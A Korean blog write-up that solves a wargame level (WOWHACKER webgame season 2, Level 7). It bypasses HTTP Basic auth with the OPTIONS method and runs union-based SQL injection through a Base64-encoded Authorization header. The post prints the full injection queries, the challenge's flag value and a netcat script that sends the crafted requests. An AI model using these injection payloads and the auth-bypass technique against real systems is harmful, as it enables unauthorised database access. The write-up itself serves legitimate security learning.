해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 7 풀이법입니다. 


링크: http://webgame.wowhacker.com/AuThWithMySQL



주어진 링크를 따라 들어가봅시다. 



HTTP 인증창이 뜨는군요. 

우선 링크를 다시 보니  'Auth with MySQL' 이라고 되어 있네요. 아마도 MySQL 인증과 관련된 문제인것 같습니다. 


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^


  • 1단계: User Name 알아내기 


우선 가벼운 마음으로 guest/guest로 로그인을 시도해 봅시다. 



헐~ 그냥 로그인이 되는군요. 

흐뭇한 마음으로 내용을 살펴 봤더니 별로 의미 없는 데이터만 있는것 같군요. 

그나마 name, group, address, phone number, hitnum 같은 데이터가 들어있다는걸 참고 할 수는 있겠네요. 


우리가 알고 싶은건 guest에 대한 정보고 아니니 관리자에 대한 계정 정보를 더 찾아봅시다. 


Level5에서 했던 메소드(method)변경을 통한 인증 우회가 생각 나는군요. 

밑져야 본전이니 시도해봅시다. 


http://kthan.tistory.com/163 <-- 메소드 변경을 통한 인증 우회기법 보러가기 


'Dev HTTP Client'를 실행해서 링크 정보를 넣고  메소드를 'OPTIONS'로 변경 한 후 

'HEADERS'필드에 인증 정보를 넣어줍시다. 

인증 정보는 '계정명:비밀번호'를 base64 인코딩 한 값이 들어갑니다.  

양식은 아래와 같습니다. 


 Authorization: Basic YWRtaW46YWRtaW4K


관련 설정을 마친 후에 'Send' 아이콘을 클릭해주면 됩니다. 


'admin'이란 계정이 존재하나 봅니다. 관련 정보도 모두 보이네요. 

왠지 술술 풀리는 기분이 드는군요. 


기쁨도 잠시.. 비밀번호에 해당하는 정보는 보이지 않고 뭔가 힌트가 될만한 정보도 없어 보입니다. 


다시 한번 URL에 있던 'MySQL'이란 단어를 떠올려 봅시다. 

이 문제는 'admin' 인증을 우회하는 문제가 아니라 'SQL Injection'을 통해 뭔가를 알아내야 하는 문제인가 봅니다. 

아쉬움을 털어 버리고 본격적으로 SQL Injection을 시도해봅시다. 



  • 2단계: DB 테이블 갯수 알아내기 


먼저 1단계에서 테이블의 열(column)의 갯수가 5개 + a 정도 될것이란걸 알게 됐죠. 

하지만, 어디까지나 추측일 뿐 정확히 갯수를 알아보기 위해 아래와 같은 쿼리문을 보내봅시다. 


방법은 1단계에서와 같이 인증 정보를 Base64 인코딩을 한 후 보내면 됩니다. 


Base64 인코딩은 웹사이트에서도 가능하고 우분투(리눅스)환경에서는 아래 명령으로 간단하게 실행 할 수 있습니다. 


$ echo "text" | base64 -w 0

dGV4dAo=


다음 MySQL 명령의 숫자값을 순차적으로 증가시켜 가면서 패킷을 전송해봅시다. 


guest' order by 1#


이 명령은 'guest' 계정으로 가져온 결과값을 '1'번째 열(column)을 기준삼아 보여주라는 의미가 됩니다. 

저 숫자가 '7'이 되면 아래와 같은 오류 메시지가 나오게 됩니다. 



'7'번째 열(column)이 없어서 나온 오류입니다. 


참고로, HEADERS에 넣은 값은 아래 명령으로 구했습니다. 


$ echo "guest' order by 7#:guest" | base64 -w 0

Z3Vlc3QnIG9yZGVyIGJ5IDcjOmd1ZXN0Cg==



이제 테이블의 열(column)이 6개라는걸 알게 됐습니다. 



  • 3단계: schema table 탐색


MySQL을 사용하게 되면 'INFORMATION_SCHEMA'가 모든 테이블의 열(column)의 이름을 가지고 있습니다. 

모든 다른 테이블의 이름을 갖는 'INFORMATION_SCHEMA'의 테이블 이름은 'INFORMATION_SCHEMA.TABLES' 입니다. 

'INFORMATION_SCHEMA.TABLES'의 정보를 갖는 열(column)의 이름을 'table_name'이라고 합니다. 


먼저 이 값들을 찾아봅시다. 


여기서 부터는 쿼리문만 적겠습니다. 위에서 했던 방식데로 Base64인코딩 후 테스트 하시면 됩니다. 


"-1' union select table_name,2,3,4,5,6 from information_schema.tables limit 0,1#"


이 쿼리문의 의미를 단계별로 살펴봅시다. 


  • -1' 는 일부러 매치되는 값이 없도록 하기 위해 잘못된 값을 주는 겁니다. 
  • UNION 은 뒤에 오는 쿼리문을 실행 할 수 있도록 해주는 접속 명령어 정도로 생각하시면 됩니다. 
  • SELECT FROM 은 MySQL 기본 쿼리문으로 FROM 뒤에 오는 테이블에서 SELECT뒤에 오는 내용을 가져와서 보여줘라는 의미입니다. 
  • table_name 은 'INFORMATION_SCHEMA.TABLES'에서 테이블 명을 보여주기 위한 이름입니다. 
  • limit 은 보여줄 값을 지정해주는 명령으로 뒤에 '시작위치,표시갯수'와 같은 형식으로 표현하는게 가능합니다. 즉, '0,1'은 처음위치에서 1개의 값을 보여주라는 의미입니다. 이 옵션을 쓰지 않으면 항상 테이블의 처음 값만 보여지게 됩니다. 


이제 쿼리문을 이해 했다면 인코딩한 값으로 패킷을 날려봅시다. 


쿼리문이 화면에 나오고 'table_name'에 해당하는 값이 1번째 열(column)인 'name' 위치에 보여지는걸 확인 할 수 있습니다. 

limit의 시작위치값을 0에서 부터 순차적으로 증가시켜 가면서 다른 값들도 찾아봅시다. 


값을 정리해보면 다음과 같습니다. 

 순번

값 

 0

 CHARACTER_SETS

 1

 COLLATIONS

 2

 COLLATION_CHARACTER_SET_APPLICABILITY

 3

 COLUMNS

 4

 COLUMN_PRIVILEGES

 5

 KEY_COLUMN_USAGE

 6

 PROFILING

 7

 ROUTINES

 8

 SCHEMATA

 9

 SCHEMA_PRIVILEGES
 10 STATISTICS

 11

 TABLES

 12

 TABLE_CONSTRAINTS

 13

 TABLE_PRIVILEGES

 14

 TRIGGERS

 15

 USER_PRIVILEGES

 16

 VIEWS

 17

 keytable

 18

 user_info


우리가 관심을 가져야 할 건 맨 아래있는 'keytable'과 'user_info'입니다. 

이름만 봐도 우리가 원하는 내용이 저기에 있을것 같다는 생각이 들지 않나요? 



  • 4단계: schema column 탐색


MySQL의 모든 다른 열(column)의 이름을 갖는 'INFORMATION_SCHEMA'의 테이블을 'INFORMATION_SCHEMA.COLUMNS'라고 부릅니다. 

'INFORMATION_SCHEMA.COLUMNS'의 정보를 갖는 열(column)의 이름을 'column_name'이라고 합니다. 


3단계에서 알게된 'keytable'에 대해 'INFORMATION_SCHEMA.COLUMNS'를 구해봅시다. 


쿼리문은 다음과 같은 형식으로 하면 됩니다. 


"-1' union select column_name,2,3,4,5,6 from information_schema.columns where table_name='keytable' limit 0,1#


쿼리문의 의미를 살펴보면 


SELECT FROM WHERE 는 FROM 뒤에 오는 테이블에서 WHERE 뒤에 오는 조건에 해당에 해당되는 값 중에서 SELECT뒤에 오는 내용을 보여주라는 의미입니다. 

다른 내용은 3단계에서와 동일하므로 생략하겠습니다. 


이제 Base64로 인코딩해서 패킷을 전송해 봅시다. 


'keytable'의 첫번 째 열(column)의 값은 'no'라는걸 알 수 있습니다. 

이와 같은 방식으로 limit의 시작위치 값을 증가 시켜가면서 다른 정보도 알아봅시다. 


 순번

 값 

 1

 no 

 2 value



  • 5단계: 테이블의 값 알아보기 


지금까지 알아낸 정보들을 가지고 'keytable'에 들어있는 값들을 알아봅시다. 


값을 알아보기 위한 쿼리문 입니다. 


"-1' union select no,2,value,4,5,6 from keytable#"


쿼리문의 의미를 살펴보면

keytable에서 no와 value값을 보여주라는 의미가 됩니다. 

'no'와 'value'를 1,3 번 위치에 쓴 이유는 2번은 password로 추정되는 값이 들어가 있다보니 화면상에 보여지지 않기 때문입니다. 


이제 패킷을 전송해봅시다. 


결과 화면에 'value'에 해당하는 값이 'group'에 표시 됐네요. 


If you dream it, you can do it


이 값을 가지고 사이트에서 인증하시면 됩니다. 



  • 여담. 


매번 쿼리문을 인코딩하는게 번거롭다면 우분투(리눅스)환경에서 패킷을 전송하는 스크립트를 작성해서 하면 더욱 편리합니다. 

제가 작성해서 사용한 스크립트 입니다. 


#!/bin/bash


AUTH=$(echo "$1:$2" | base64 -w 0 )


echo -ne "OPTIONS http://webgame.wowhacker.com/AuThWithMySQL/ HTTP/1.1\r\n\

Accept: text/html, application/xhtml+xml, */*\r\n\

Accept-Language: ko-KR\r\n\

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\r\n\

Authorization: Basic $AUTH\r\n\

DNT: 1\r\n\

Proxy-Connection: Keep-Alive\r\n\

Pragma: no-cache\r\n\

Host: webgame.wowhacker.com\r\n\r\n" \

| nc webgame.wowhacker.com 80


간략하게 설명을 드리자면..


  • ID와 PW를 입력받아서 Base64 인코딩을 수행한 후 
  • 와이어샤크(wireshark)로 잡은 패킷을 복사해서 붙여 넣은 후 
  • 메소드(method)와 인증 정보만 수정해서
  • nc(netcat)을 사용해서 보내도록 한 겁니다. 


스크립트 실행은 계정 정보와 비밀번호를 입력값으로 주면 되구요.. 계정 정보만 입력해도 정상 동작합니다. 


$ ./level7.sh "admin' order by 1#"


Posted by KT한
,